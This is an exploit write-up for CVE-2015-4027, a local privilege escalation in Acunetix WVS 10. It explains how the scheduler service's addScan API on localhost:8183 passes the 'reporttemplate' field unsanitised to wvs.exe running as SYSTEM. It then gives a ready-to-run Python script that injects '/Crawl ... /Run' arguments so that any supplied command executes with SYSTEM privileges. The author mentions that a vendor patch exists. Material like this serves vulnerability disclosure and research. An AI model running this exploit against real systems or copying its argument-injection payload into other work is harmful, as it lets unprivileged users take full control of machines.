Acunetix WVS 10 – Local Privilege Escalation
''' ======================================================================== Acunetix WVS 10 - from guest to Sytem (Local privilege escalation) CVE: CVE-2015-4027 Author: (me) Daniele Linguaglossa Affected Product: Acunetix WVS 10 Exploit: Local privilege escalation Vendor: Acunetix ltd Remote: No Version: 10 ========================================================================= A local privilege escalation exists in Acunetix WVS 10, it allow a local user (even guest) to gain same privilege as System user. With default Acunetix installation, a service called "AcuWVSSchedulerv10" will be installed, this service run as local system user. AcuWVSSchedulerv10 is reponsable for scan scheduling without user interaction it expose some API to interact via a web server usually localhost:8183. API: /listScan /addScan <== vulnerable one /deleteScan etc... When a user schedule a scan API "addScan" will be called as following ------------------------------------------------------------------------------- POST /api/addScan HTTP/1.1 Host: localhost:8183 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=UTF-8 RequestValidated: true X-Requested-With: XMLHttpRequest Referer: http://localhost:8183/ Content-Length: 452 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache { "scanType": "scan", "targetList": "", "target": ["http://.target.it"], "recurse": "-1", "date": "12/2/2015", "dayOfWeek": "1", "dayOfMonth": "1", "time": "12:21", "deleteAfterCompletion": "False", "params": { "profile": "Default", "loginSeq": "<none>", "settings": "Default", "scanningmode": "heuristic", "excludedhours": "<none>", "savetodatabase": "True", "savelogs": "False", "generatereport": "False", "reportformat": "PDF", "reporttemplate": "WVSAffectedItemsReport.rep", "emailaddress": "" } } ------------------------------------------------------------------------------ The first thing i noticed was the reporttemplate, this was used to create report when scanning ends, so it means an external file wich we can control will be then used by System! this would be interesting enough but i never look deep into. Instead i noticed something even worst, filename was used as argument to wvs.exe called with system privilege! By looking at how Acunetix handled reporttemplate argument i figured out that was possibile to inject custom arguments within reporttemplate, now this is where Acunetix help us :D in fact wvs was provided with an interesting argument it was /Run as reference says: https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/ Run a command line command during the crawl. Syntax: /Run [command] Example: /Run curl http://example.com/dir1/ Wow that's really nice, so in order to execute a command we must insert a fake Crawl followed by a Run command so reporttemplate become: "reporttemplate": "WVSAffectedItemsReport.rep /Craw http://fakesite.it /Run cmd.exe" it worked cmd runned as System! ================================================================================== Now let's pwn this! escalation.py ''' import httplib import json from datetime import datetime import sys from time import gmtime, strftime COMMAND = sys.argv[1] if len(sys.argv) > 1 else "cmd.exe" ACUHOST = '127.0.0.1' ACUPORT = 8183 ACUHEADERS = { "Content-Type": "application/json; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Accept": "application/json, text/javascript, */*; q=0.01", "RequestValidated": "true" } ACUEXPLOIT = "/Crawl http://www.google.it /Run \""+ COMMAND + "\"" ACUDATA = {"scanType":"scan", "targetList":"", "target":["http://"+"A"*2048], "recurse":"-1", "date":strftime("%m/%d/%Y", gmtime()), "dayOfWeek":"1", "dayOfMonth":"1", "time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1), "deleteAfterCompletion":"False", "params":{"profile":"Default", "loginSeq":"<none>", "settings":"Default", "scanningmode":"heuristic", "excludedhours":"<none>", "savetodatabase":"True", "savelogs":"False", "generatereport":"False", "reportformat":"PDF", "reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT, "emailaddress":""} } def sendExploit(): conn = httplib.HTTPConnection(ACUHOST, ACUPORT) conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS) resp = conn.getresponse() return "%s %s" % (resp.status, resp.reason) print "Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n" print "[+] Command : %s will be executed as SYSTEM" % COMMAND print "[+] Sending exploit..." print "[+] Result: "+sendExploit() print "[+] Done!" ''' ============================================================================ I hope this write-up was funny enough anyway i really would like to thank Acunetix product manager N.S. for the really fast answer and bug mitigation, right now a patch exists so hurry up download it now. ============================================================================ ''' |